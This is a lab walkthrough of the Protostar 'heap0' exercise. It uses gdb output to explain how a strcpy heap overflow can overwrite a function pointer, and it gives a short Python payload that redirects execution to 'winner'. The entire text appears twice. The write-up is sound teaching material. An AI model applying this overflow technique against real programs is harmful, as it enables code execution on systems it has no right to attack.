Protostar 0x0B - Heap0
Prev: 0x0A - Net2
Next: 0x0C - Heap1
This level introduces heap memory through the use of the dynamic memory allocator malloc. Heap memory is typically used when at least one of two things are true: (1) you have a variable that you would like to use beyond the lifetime of a single function, or (2) you need to make room for a variable whose size can vary.
In this specific case, neither are true, but it will serve as a good introduction.
In the above source code, we can see that two structs are defined: "data," which has one 64-bit character array, and "fp" which contains a pointer. Next, two functions are defined: "nowinner" and "winner," which are self-explanatory. Then, in "main," we see that memory is allocated for one of each of the two structs defined at the top of the level. The pointer in the "f" struct is set to "nowinner," and at the end of the level this pointer is called. However, before that happens, there's a "printf" function which prints the location of both structs for us, and then a "strcpy" which sets the "name" buffer in the "data" struct to argv[1].
Let's first execute this program with a dummy buffer:
$ /opt/protostar/bin/heap0 AAAA
data is at 0x804a008, fp is at 0x804a050
level has not been passed
We execute heap0 with "AAAA" as argv[1]. This puts our "AAAA" string in the 64-byte "name" buffer, and then calls the pointer in "f" which is the "nowinner" function.
So, it's clear we need to overflow here. But by how much? We can see that "d" is located before "f," and we know that the size of a "data" struct is 64 bytes, so do we enter 64 bytes of dummy data and then the address of "winner?" Not quite - we can see that "f" is actually 72 bytes from the start of "d," instead of the 64 bytes we might expect. Let's load up gdb to see why.
If we disassemble main, we see that the "strcpy" occurs at main + 102. Let's break right after it at main + 107 and then inspect the addresses that the program provides us after we enter a familiar buffer of 8-or-so As:
$ gdb /opt/protostar/bin/heap0
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) break *main+107
Breakpoint 1 at 0x80484f7: file heap0/heap0.c, line 38.
(gdb) r AAAAAAAA
Starting program: /opt/protostar/bin/heap0 AAAAAAAA
data is at 0x804a008, fp is at 0x804a050
Breakpoint 1, main (argc=2, argv=0xbffffd64) at heap0/heap0.c:38
38 heap0/heap0.c: No such file or directory.
in heap0/heap0.c
(gdb) x/4x 0x804a008
0x804a008: 0x41414141 0x41414141 0x00000000 0x00000000
(gdb) x/4x 0x804a050
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
(gdb) print nowinner
$1 = {void (void)} 0x8048478 <nowinner>
So, to be more specific than the program is with these addresses, the "name" buffer of the "d" struct begins at 0x804a008, and the "fp" variable of the "f" struct begins at 0x804a050. However, we still know that there are 8 extra bytes between "d" and "f" after the "name" buffer of "d." What's going on here?
If we check 4 bytes before both addresses, we find some values:
(gdb) x/4x 0x804a008-4
0x804a004: 0x00000049 0x41414141 0x41414141 0x00000000
(gdb) x/4x 0x804a050-4
0x804a04c: 0x00000011 0x08048478 0x00000000 0x00000000
These are actually size values used by this implementation of malloc: the first is size 0x48, with the least-significant bit (LSB) set to indicate the memory is in use (thus it displays as 0x49). The second is size 0x10, again with the LSB set so that it becomes 0x11. Note also that all malloc memory chunks are rounded up to the nearest multiple of 8 bytes - this allows the 3 LSBs to be used for flags such as "in use" as described above. Read more here.
Now that we know enough about the underlying heap implementation, let's go ahead and craft our payload. We'll need to fill 72 bytes with dummy data, and then provide the address to "winner" which will override the pointer to "nowinner" within the "f" struct. Using gdb, we see that this is at 0x8048464.
(gdb) print winner
$2 = {void (void)} 0x8048464 <winner>
In Python, our payload looks like this:
import struct
buffer = "A" * 72
winner = struct.pack("<I", 0x8048464)
payload = buffer + winner
print payload
And when we run it, we get:
$ /opt/protostar/bin/heap0 `python heap0.py`
data is at 0x804a008, fp is at 0x804a050
level passed
Success!
Prev: 0x0A - Net2
Next: 0x0C - Heap1
Next: 0x0C - Heap1
This level introduces heap memory through the use of the dynamic memory allocator malloc. Heap memory is typically used when at least one of two things are true: (1) you have a variable that you would like to use beyond the lifetime of a single function, or (2) you need to make room for a variable whose size can vary.
In this specific case, neither are true, but it will serve as a good introduction.
In the above source code, we can see that two structs are defined: "data," which has one 64-bit character array, and "fp" which contains a pointer. Next, two functions are defined: "nowinner" and "winner," which are self-explanatory. Then, in "main," we see that memory is allocated for one of each of the two structs defined at the top of the level. The pointer in the "f" struct is set to "nowinner," and at the end of the level this pointer is called. However, before that happens, there's a "printf" function which prints the location of both structs for us, and then a "strcpy" which sets the "name" buffer in the "data" struct to argv[1].
Let's first execute this program with a dummy buffer:
$ /opt/protostar/bin/heap0 AAAA
data is at 0x804a008, fp is at 0x804a050
level has not been passed
We execute heap0 with "AAAA" as argv[1]. This puts our "AAAA" string in the 64-byte "name" buffer, and then calls the pointer in "f" which is the "nowinner" function.
So, it's clear we need to overflow here. But by how much? We can see that "d" is located before "f," and we know that the size of a "data" struct is 64 bytes, so do we enter 64 bytes of dummy data and then the address of "winner?" Not quite - we can see that "f" is actually 72 bytes from the start of "d," instead of the 64 bytes we might expect. Let's load up gdb to see why.
If we disassemble main, we see that the "strcpy" occurs at main + 102. Let's break right after it at main + 107 and then inspect the addresses that the program provides us after we enter a familiar buffer of 8-or-so As:
$ gdb /opt/protostar/bin/heap0
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) break *main+107
Breakpoint 1 at 0x80484f7: file heap0/heap0.c, line 38.
(gdb) r AAAAAAAA
Starting program: /opt/protostar/bin/heap0 AAAAAAAA
data is at 0x804a008, fp is at 0x804a050
Breakpoint 1, main (argc=2, argv=0xbffffd64) at heap0/heap0.c:38
38 heap0/heap0.c: No such file or directory.
in heap0/heap0.c
(gdb) x/4x 0x804a008
0x804a008: 0x41414141 0x41414141 0x00000000 0x00000000
(gdb) x/4x 0x804a050
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
(gdb) print nowinner
$1 = {void (void)} 0x8048478 <nowinner>
So, to be more specific than the program is with these addresses, the "name" buffer of the "d" struct begins at 0x804a008, and the "fp" variable of the "f" struct begins at 0x804a050. However, we still know that there are 8 extra bytes between "d" and "f" after the "name" buffer of "d." What's going on here?
If we check 4 bytes before both addresses, we find some values:
(gdb) x/4x 0x804a008-4
0x804a004: 0x00000049 0x41414141 0x41414141 0x00000000
(gdb) x/4x 0x804a050-4
0x804a04c: 0x00000011 0x08048478 0x00000000 0x00000000
These are actually size values used by this implementation of malloc: the first is size 0x48, with the least-significant bit (LSB) set to indicate the memory is in use (thus it displays as 0x49). The second is size 0x10, again with the LSB set so that it becomes 0x11. Note also that all malloc memory chunks are rounded up to the nearest multiple of 8 bytes - this allows the 3 LSBs to be used for flags such as "in use" as described above. Read more here.
Now that we know enough about the underlying heap implementation, let's go ahead and craft our payload. We'll need to fill 72 bytes with dummy data, and then provide the address to "winner" which will override the pointer to "nowinner" within the "f" struct. Using gdb, we see that this is at 0x8048464.
(gdb) print winner
$2 = {void (void)} 0x8048464 <winner>
In Python, our payload looks like this:
import struct
buffer = "A" * 72
winner = struct.pack("<I", 0x8048464)
payload = buffer + winner
print payload
And when we run it, we get:
$ /opt/protostar/bin/heap0 `python heap0.py`
data is at 0x804a008, fp is at 0x804a050
level passed
Success!
Prev: 0x0A - Net2
Next: 0x0C - Heap1